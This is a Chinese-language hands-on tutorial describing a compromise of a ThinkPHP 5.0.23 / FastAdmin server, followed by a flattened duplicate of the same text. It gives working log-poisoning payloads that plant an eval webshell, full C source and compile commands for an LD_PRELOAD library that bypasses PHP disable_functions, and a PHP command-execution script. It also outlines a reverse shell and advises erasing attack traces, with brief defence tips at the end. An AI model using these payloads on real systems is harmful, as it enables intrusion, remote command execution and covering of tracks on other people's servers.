一次曲折的tp实战,从disabled_func绕过到反弹bash
字数 1073 2025-08-11 17:40:19

ThinkPHP5 RCE漏洞利用与disabled_functions绕过实战教学

1. 漏洞背景与前期信息收集

1.1 目标环境

  • 目标系统使用ThinkPHP5框架
  • 基于FastAdmin二次开发
  • 存在ThinkPHP 5.0.23 RCE漏洞
  • 服务器配置了严格的disabled_functions限制

1.2 信息收集要点

  1. 端口扫描:使用潮汐指纹等在线平台进行非接触式扫描
  2. CDN检测:确认CDN是否存在及其防护能力
  3. 框架识别:确认ThinkPHP版本及可能的二次开发情况
  4. 漏洞验证:使用专用工具验证ThinkPHP 5.0.23 RCE漏洞

2. 初始漏洞利用尝试

2.1 直接命令执行受阻

  • 发现所有常见命令执行函数被禁用:
    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,
    proc_get_status,popen,ini_alter,ini_restore,dl,openlog,
    syslog,readlink,symlink,popepassthru,stream_socket_server
    

2.2 日志文件包含攻击

  1. 写入恶意代码到日志

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=<?php @eval($_POST['123']); ?>
    
  2. 包含日志文件执行代码

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202302/3.log&123=phpinfo();
    
  3. 绕过open_basedir限制:参考相关技术文章

3. disabled_functions绕过技术

3.1 常见绕过方法概述

  1. 攻击存在漏洞的后端组件(如ImageMagick、bash等)
  2. 寻找未禁用的冷门函数(popen/proc_open/pcntl_exec等)
  3. mod_cgi模式下修改.htaccess绕过限制
  4. LD_PRELOAD劫持系统函数(本文重点)

3.2 LD_PRELOAD技术原理

  • 通过环境变量LD_PRELOAD指定优先加载的共享库
  • 劫持程序调用的系统函数(如mail()函数会调用系统库函数)
  • 在构造函数中执行恶意代码

3.3 具体实现步骤

3.3.1 编写恶意共享库(bypass_disablefunc.c)

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void){
    // 获取命令
    const char* cmdline = getenv("EVIL_CMDLINE");
    
    // 清除LD_PRELOAD环境变量
    int i;
    for (i = 0; environ[i]; ++i) {
        if (strstr(environ[i], "LD_PRELOAD")) {
            environ[i][0] = '\0';
        }
    }
    
    // 执行命令
    system(cmdline);
}

3.3.2 编译共享库

# x64架构编译
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

# x86架构编译(需添加-m32选项)
gcc -shared -fPIC -m32 bypass_disablefunc.c -o bypass_disablefunc_x86.so

3.3.3 编写PHP利用脚本(bypass_disablefunc.php)

<?php
echo "<p><b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so</p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "<p><b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p><b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

3.3.4 利用方式

访问URL格式:

http://target/bypass.php?cmd=[命令]&outpath=[输出文件路径]&sopath=[so文件路径]

示例:

http://x.x.x.x/bypass.php?cmd=id&outpath=/tmp/test&sopath=bypass_disablefunc_x64.so

4. 后渗透阶段

4.1 反弹Shell

  1. 编写反弹Shell脚本
  2. 通过已上传的WebShell执行该脚本
  3. 获取交互式Bash会话

4.2 注意事项

  1. 确保输出目录可写
  2. 注意文件权限问题
  3. 清理攻击痕迹

5. 防御建议

5.1 针对系统管理员

  1. 及时更新框架和组件
  2. 限制危险函数时考虑全面
  3. 配置open_basedir限制目录访问
  4. 监控系统日志和异常行为

5.2 针对开发者

  1. 避免使用存在已知漏洞的框架版本
  2. 实施输入过滤和输出编码
  3. 最小化服务器功能,禁用不必要的服务和函数

6. 参考资源

  1. LD_PRELOAD技术详解
  2. disabled_functions绕过方法
  3. open_basedir绕过技术
ThinkPHP5 RCE漏洞利用与disabled_ functions绕过实战教学 1. 漏洞背景与前期信息收集 1.1 目标环境 目标系统使用ThinkPHP5框架 基于FastAdmin二次开发 存在ThinkPHP 5.0.23 RCE漏洞 服务器配置了严格的disabled_ functions限制 1.2 信息收集要点 端口扫描 :使用潮汐指纹等在线平台进行非接触式扫描 CDN检测 :确认CDN是否存在及其防护能力 框架识别 :确认ThinkPHP版本及可能的二次开发情况 漏洞验证 :使用专用工具验证ThinkPHP 5.0.23 RCE漏洞 2. 初始漏洞利用尝试 2.1 直接命令执行受阻 发现所有常见命令执行函数被禁用: 2.2 日志文件包含攻击 写入恶意代码到日志 : 包含日志文件执行代码 : 绕过open_ basedir限制 :参考相关技术文章 3. disabled_ functions绕过技术 3.1 常见绕过方法概述 攻击存在漏洞的后端组件(如ImageMagick、bash等) 寻找未禁用的冷门函数(popen/proc_ open/pcntl_ exec等) mod_ cgi模式下修改.htaccess绕过限制 LD_ PRELOAD劫持系统函数 (本文重点) 3.2 LD_ PRELOAD技术原理 通过环境变量LD_ PRELOAD指定优先加载的共享库 劫持程序调用的系统函数(如mail()函数会调用系统库函数) 在构造函数中执行恶意代码 3.3 具体实现步骤 3.3.1 编写恶意共享库(bypass_ disablefunc.c) 3.3.2 编译共享库 3.3.3 编写PHP利用脚本(bypass_ disablefunc.php) 3.3.4 利用方式 访问URL格式: 示例: 4. 后渗透阶段 4.1 反弹Shell 编写反弹Shell脚本 通过已上传的WebShell执行该脚本 获取交互式Bash会话 4.2 注意事项 确保输出目录可写 注意文件权限问题 清理攻击痕迹 5. 防御建议 5.1 针对系统管理员 及时更新框架和组件 限制危险函数时考虑全面 配置open_ basedir限制目录访问 监控系统日志和异常行为 5.2 针对开发者 避免使用存在已知漏洞的框架版本 实施输入过滤和输出编码 最小化服务器功能,禁用不必要的服务和函数 6. 参考资源 LD_ PRELOAD技术详解 disabled_ functions绕过方法 open_ basedir绕过技术